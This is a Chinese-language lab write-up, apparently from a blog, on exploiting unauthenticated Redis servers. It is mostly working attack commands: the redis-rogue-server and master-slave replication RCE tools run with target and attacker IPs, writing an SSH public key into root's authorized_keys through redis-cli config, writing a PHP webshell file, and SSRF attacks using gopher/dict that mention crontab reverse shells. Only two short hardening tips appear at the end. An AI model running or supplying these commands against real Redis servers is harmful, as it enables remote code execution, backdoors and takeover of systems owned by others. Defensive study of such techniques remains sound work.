Redis是一个开源的内存数据库,它用于存储数据,并提供高性能、可扩展性和丰富的数据结构支持。

Redis复现文章较全

Redis+ssrf漏洞利用探测内网

RedisInsight/RedisDesktopManager可视化连接工具

漏洞原理

1)redis绑定在 0.0.0.0:6379端口,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;

(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。 

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,
如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。
攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,并且写公匙登录

测绘查找

port="6379"&server="redis"

Docker开启环境

docker-compose up -d

docker-compose ps  // 查看端口6379

kali扫描主机同样存在

Redis(<=5.0.5) RCE 工具梭哈

RedisRCE工具

攻击机下载RCE工具 redis-rogue-server工具。使用该工具将在终端伪造一个redis服务并尝试与目标连接实现未授权访问

git clone  https://github.com/n0b0dyCN/redis-rogue-server   // kali直接下载 

python3 ./redis-rogue-server.py --rhost 靶机ip --lhost 攻击机ip  // 连接

i // 交互式  成功RCE 

Redis 4.x/5.x 主从复制 RCE

工具地址

主从复制是指将一台Redis主服务器的数据,复制到其他的Redis从服务器。前者称为主节点(master),后者称为从节点

漏洞原理是目标靶机存在ssrf漏洞探测到了Redis未授权,我们可以自己搭建一个redis服务器作为目标靶机的主服务器,也就是说我们在redis服务器恶意构造.so文件,通过主从复制的模式到该目标靶机实现RCE


通过工具远程连接执行,原本是通过git在kali克隆但是克隆不了,所以从物理机手动下载移到Kali并且进入redis-rogue-getshell-master/RedisModulesSDK/exp路径使用make命令下载模块,下载完成后cd回到根目录redis-rogue-getshell-master

python ./redis-master.py -r 10.2.109.98 -p 6379 -L 192.168.111.128 -P 8989 -f RedisModulesSDK/exp/exp.so -c "whoami"

// 第一个IP 靶机IP  第二个 攻击机IP   最后为需要执行的命令

1公私钥免密登录

登陆linux有几种方式,最常用的是密码登陆和RSA key 登陆,RSA key登陆是生成一个公私对应的秘钥; 未授权成功后将自己的ssh公钥写入目标服务器的/root/.ssh文件的authotrized_keys 文件中,进而可以使用保留在攻击机对应私钥使用ssh服务器登录目标服务器

  • 为什么redis可以获取服务器的root权限呢?RSA key的登陆方式在服务器方面是要将公钥写入目标authorized_keys文件中的,而redis有一种持久化方式是生成RDB文件,通过持久化将公钥写入root下的authored_keys文件里,这样就将非法的公钥写到了验证文件里^注释2,后面我们拿对应私钥登陆即可(但是这种方式需要再redisroot启动的情况下使用,因为非root权限无法进入/root目录)

攻击机中生成ssh公钥和私钥文件,密码为空一直回车就行 id_rsa为私钥,id_rsa.pub为公钥

进入ssh目录将生成的公钥保存到1.txt并且使用远程连接攻击连接靶机把1.txt写入redis

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt  // 攻击机保存文件

cat 1.txt | redis-cli -h 192.168.31.169 -x set crack

下面操作就是更改目标服务器Redis备份路径为ssh公钥存放目录,但是一直是权限不足,所以没有弄了,下面是别人的操作,上传公匙文件保存退出

此时在攻击机上使用SSH免密登录靶机,利用私钥成功登入redis服务器

Redis-cli工具连接写shell

攻击机下载工具

wget http://download.redis.io/redis-stable.tar.gz

tar -zxvf redis-stable.tar.gz
cd redis-stable
make  // 编译 时间很久

远程连接Redis服务器免密登录命令

无密码登录命令

C 目标主机IP

有密码登录命令

redis-cli -h 目标主机IP -p 端口6379 -a 登录密码


redis-cli -h 10.2.109.98  // 连接靶机redis服务器

info  // 输出获取有关 Redis 服务器的各种信息,包括版本、模式、操作系统等

写入shell文件

靶场没有开启web端口无法直接上传木马文件,用写入shell文件的方式添加后门攻击者在未授权访问Redis的情况下,利用服务自身提供的config命令,可以进行写文件所以可以写入shell,在上文远程连接基础上写入文件,选择/tmp目录通常对所有用户都是可读写的

config set dir /tmp   // 选择目录为tmp
config set dbfiname saber.php   // 文件名为saber.php

// 添加几\r\n个换行,是因为redis写入文件时会自带一些版本信息,若不换行可能会导致木马无法正常执行

set webshell "\r\n\r\n<?php phpinfo();?>\r\n\r\n"  // 文件内容
save  // 执行 

写入文件后可以通过容器ID查看文件

Docker查看写入Shell成功,使用IP结合路径就可以 连接蚁剑了

Redis+SSRF

国光SSRF靶场探测内网

SSRF中Redis的利用掌控社区

飘渺红尘对于SSRC协议攻击Redis分析

goher协议写RCE脚本项目

利用SSRF伪协议 file读取机器文件获得内网IP 再次利用伪协议DICT 配合内网IP探测内网端口开放情况,如果存在6379开放且是未授权连接则可以按上面的打方打,前提是SSRF扫描到了内网的Redis服务,然后 SSRF配合伪协议在Redis里面写东西,利用上面的工具,通常都是gopher协议构造数据包,SSRF打Redis关键就是用**gopher2/dict协议 两个都可以写一句话,dict可以写计划任务

  • config写一句话shelltmp或者其他有写入权限目录 ; 知晓网站绝对路径通过蚁剑连接,
  • 攻击机生成公私钥复制上传,造成免密登录对方机器
  • crontao写入计划任务反弹shell

修复建议

  • 修改redis.conf配置文件设置bind 127.0.0.1,这将限制Redis仅接受来自本地主机的连接
  • 设置强密码连接Redis需要进行身份验证

  1. 登录方式:私匙生成 公匙验证 ↩︎

  2. 使用gopher发送各种格式的请求包,利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。 ↩︎

点赞(0) 打赏

评论列表 共有 0 条评论

暂无评论

微信公众账号

微信扫一扫加关注

发表
评论
返回
顶部